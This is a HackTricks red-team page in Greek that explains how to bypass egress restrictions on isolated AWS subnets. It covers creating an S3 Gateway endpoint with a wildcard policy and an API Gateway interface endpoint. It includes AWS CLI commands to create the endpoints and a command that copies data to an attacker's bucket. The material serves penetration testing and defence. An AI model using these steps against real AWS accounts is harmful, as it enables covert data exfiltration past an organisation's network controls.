AWS – Παράκαμψη Egress από Απομονωμένα Subnets μέσω VPC Endpoints

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Περίληψη

Αυτή η τεχνική εκμεταλλεύεται τα VPC Endpoints για να δημιουργήσει κανάλια εξαγωγής (exfiltration) από subnets χωρίς Internet Gateways ή NAT. Οι Gateway endpoints (π.χ. S3) προσθέτουν prefix‑list routes στους πίνακες δρομολόγησης των subnets· οι Interface endpoints (π.χ. execute-api, secretsmanager, ssm κ.λπ.) δημιουργούν προσεγγίσιμα ENIs με ιδιωτικές IP προστατευμένες από security groups. Με ελάχιστα δικαιώματα VPC/EC2, ένας επιτιθέμενος μπορεί να ενεργοποιήσει ελεγχόμενο egress που δεν διέρχεται από το public Internet.

Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.

Επιλογή A – S3 Gateway VPC Endpoint

Μεταβλητές

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Δημιουργήστε ένα χαλαρό αρχείο πολιτικής endpoint (προαιρετικό). Αποθηκεύστε ως allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. Δημιουργήστε το S3 Gateway endpoint (προσθέτει S3 prefix‑list route στους επιλεγμένους πίνακες δρομολόγησης):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Evidence to capture:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS εμφανίζει μια διαδρομή προς την AWS S3 prefix list (π.χ., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • Από ένα instance σε αυτά τα subnets (με IAM perms) μπορείτε να exfil μέσω S3 χωρίς διαδίκτυο:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Επιλογή B – Interface VPC Endpoint για API Gateway (execute-api)

Μεταβλητές

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Δημιουργήστε το interface endpoint και επισυνάψτε το SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Στοιχεία προς συλλογή:

  • aws ec2 describe-vpc-endpoints δείχνει το endpoint σε κατάσταση available με NetworkInterfaceIds (ENIs στα υποδίκτυά σας).
  • Οι instances σε αυτά τα υποδίκτυα μπορούν να προσεγγίσουν Private API Gateway endpoints μέσω αυτών των VPCE ENIs (δεν απαιτείται διαδρομή στο Internet).

Επιπτώσεις

  • Παρακάμπτει τους perimeter egress controls αξιοποιώντας AWS‑managed private paths προς AWS services.
  • Επιτρέπει data exfiltration από απομονωμένα υποδίκτυα (π.χ., εγγραφή σε S3; κλήση Private API Gateway; πρόσβαση σε Secrets Manager/SSM/STS, κ.λπ.) χωρίς IGW/NAT.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks